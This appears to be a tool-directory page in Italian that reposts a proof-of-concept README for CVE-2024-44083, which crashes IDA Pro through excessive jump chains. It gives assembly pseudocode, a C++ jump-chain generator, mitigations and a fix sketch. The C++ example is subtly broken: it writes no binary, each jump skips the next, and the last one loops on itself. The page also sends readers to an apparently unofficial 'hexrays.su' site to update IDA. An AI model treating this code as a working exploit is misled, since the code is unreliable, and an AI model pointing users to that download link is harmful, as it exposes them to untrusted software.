Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-44083 — il mio poc per CVE-2024-44083. | Kitploit
Strumenti/GitHubGitHub/dynamicx64/cve-2024-44083
Analisi delle VulnerabilitàExploitReverse EngineeringFuzzingAnalisi di BinariApprendimento e Formazione
GitHubdynamicx64/cve-2024-44083

CVE-2024-44083

il mio poc per CVE-2024-44083.

Vedi Repository
17 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-44083

i repo PoC originali sono stati eliminati (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) quindi eccolo qui. ho pensato di ricrearlo per chiunque voglia capire come funziona o testare la propria configurazione.

IDA Pro ≤ 8.4 va in crash durante l'analisi di binari con catene di salti eccessive.

il bug

ida64.dll non limita quanto in profondità arriva quando segue le catene di salti. quindi se hai un binario con migliaia di salti collegati che terminano al punto di ingresso, IDA si suicida e basta.

campovalore
CVECVE-2024-44083
versioni interessateIDA Pro ≤ 8.4
componenteida64.dll
CWECWE-770 (esaurimento delle risorse)
impattocrash (DoS)

come funziona

l'idea è semplice: crea una sezione piena di salti che continuano a saltare ad altri salti

root@kitploit:~
; pseudocode obviously

section .text

; thousands of these
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... keep going ...
jump_9999:
    jmp payload

payload:
    call _start    ; this creates the cross-reference that breaks things

_start:
    ; IDA tries to resolve all the jumps pointing here
    ; boom crash
    ret

IDA cerca di seguire e tracciare tutti questi salti creando riferimenti incrociati e quando sono abbastanza semplicemente si arrende e va in crash.

farlo da soli (esempio)

se volessi creare qualcosa del genere in C++ faresti qualcosa del tipo:

root@kitploit:~

#include <windows.h>
#include <cstring>

// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
    // allocate executable memory for our jump chain
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10,000 jumps × 5 bytes + some extra
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // create 10,000 chained jumps
    for (int i = 0; i < 10000; i++) {
        // write JMP rel32 instruction (E9 xx xx xx xx)
        code[offset] = 0xE9;  // JMP opcode
        
        // calculate relative offset to next jump (5 bytes ahead)
        int32_t rel = 5;
        
        // copy the 4-byte relative offset
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // last jump creates circular reference
    // jump back 5 bytes to create infinite loop
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // you can also return a value to make it believeable
    offset += 5;
    code[offset] = 0xC3;  // ret
    
    // this is the pattern that crashes IDA:
    // 10,000 jumps → self-referential jump → IDA gets stuck
    // no depth limit in recursion → stack overflow → crash
    
    // cleanup
    VirtualFree(code, 0, MEM_RELEASE);
}

in pratica stai solo scrivendo un mucchio di istruzioni JMP concatenate. quando IDA cerca di fare l'intelligente analizzandole, finisce la stack/memoria.

la soluzione

se sei bloccato su una versione vecchia di IDA:

  1. disattiva l'analisi automatica prima di aprire file loschi

    • clicca il cerchio giallo/verde nella barra degli strumenti per disattivarla
    • oppure Options → General → Analysis → togli la spunta da "Enabled"
    • guardati intorno manualmente prima, poi riattivala se sembra sicuro
  2. limita l'analisi sulle sezioni sospette

    • clicca con il tasto destro sulla sezione → Edit segment
    • cambia il tipo di segmento o i permessi per impedire l'analisi del codice
    • oppure elimina direttamente il segmento se non ti serve

cosa dovrebbe fare Hex-Rays:

root@kitploit:~
// pseudocode

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("jump chain too deep. fail.");
        return;  // dont crash just stop
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

praticamente basta aggiungere un limite di profondità, tutto qui.

riferimenti

  • NVD
  • hexrays.su <-- per aggiornare la tua IDA

disclaimer

solo per scopi educativi, non fare lo stronzo.

Scarica lo strumento